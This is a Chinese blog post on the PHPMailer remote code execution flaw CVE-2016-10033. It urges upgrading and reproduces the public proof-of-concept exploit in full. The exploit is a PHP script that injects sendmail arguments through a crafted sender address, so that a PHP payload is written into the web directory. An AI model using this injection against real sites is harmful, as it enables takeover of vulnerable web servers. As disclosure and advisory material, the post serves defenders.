php mailer cve利用,PHPMailer远程任意代码执行漏洞CVE-2016-10033 900万用户受影响 站长们要小心了...

PHPMailer出现漏洞CVE-2016-10033,全球900万用户容易遭受远程攻击。官方目前已经发布新版本,请用户尽快升级。PHPMailer 5.2.18 之前所有版本都受到影响。CVE官方对于该漏洞的描述还处于保留状态。

PHP Mailer是什么

PHPMailer,用于发送电子邮件的最受欢迎的开源 PHP 库之一,也是PHPMailer是一个用于发送电子邮件的PHP函数包。据估计,世界各地的超过 900 万用户利用此库。数以百万计的使用 PHP 和流行的 CMS,目前包括 WordPress,rupal 和 Joomla 网站使用库发送电子邮件。

PHPMailer远程任意代码执行漏洞CVE-2016-10033

该漏洞由安全专家 Dawid Golunski 从Legal Hacker网站上发布,远程未经身份验证的攻击者可以利用该漏洞,在 web 服务器的上下文中执行任意代码,攻击目标 web 应用程序。

"独立的研究发现了 PHPMailer,可以潜在地用于 (未经身份验证) 的远程攻击者,实现远程执行任意代码的上下文中的 web 服务器用户和远程破坏目标 web 应用程序中一个严重的漏洞"。Golunski 解释说。

"利用此漏洞的攻击者,可以攻击共用的网站组件,包括联系/反馈表单、 注册表单、 电子邮件的密码重置等,并利用 有漏洞版本的PHPMailer 类发送电子邮件"。

PoC (PHPMailer远程任意代码执行漏洞CVE-2016-10033)

这个漏洞的PoC代码已经公开。

/*

PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]

Arg no. 1 == [-t]

Arg no. 2 == [-i]

Arg no. 3 == [-fattacker\]

Arg no. 4 == [-oQ/tmp/]

Arg no. 5 == [-X/var/www/cache/phpcode.php]

Arg no. 6 == [some”@email.com]

which will write the transfer log (-X) into /var/www/cache/phpcode.php file.

The resulting file will contain the payload passed in the body of the msg:

09607 <<< –b1_cb4566aa51be9f090d9419163e492306

09607 <<< Content-Type: text/html; charset=us-ascii

09607 <<<

09607 <<< <?php phpinfo(); ?>

09607 <<<

09607 <<<

09607 <<<

09607 <<< –b1_cb4566aa51be9f090d9419163e492306–

See the full advisory URL for details.

*/

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.

// For example from a Contact form

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';

$msg_body  = "<?php phpinfo(); ?>";

// ——————

// mail() param injection via the vulnerability in PHPMailer

require_once('class.phpmailer.php');

$mail = new PHPMailer(); // defaults to using php "mail()"

$mail->SetFrom($email_from, 'Client Name');

$address = "customer_feedback@company-X.com";

$mail->AddAddress($address, "Some User");

$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";

$mail->MsgHTML($msg_body);

if(!$mail->Send()) {

echo "Mailer Error: " . $mail->ErrorInfo;

} else {

echo "Message sent!\n";

}

据研究人员称,还开发了无身份验证 RCE 开发为一种流行开源代码部署的应用程序 (在互联网上超过 100 万的服务器上) 作为 PoC 真实开发。这个应该会在厂商修复漏洞之后公布。

19a44a8c90a96cc67828c31b91c314b8.png

Post Views:

327

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值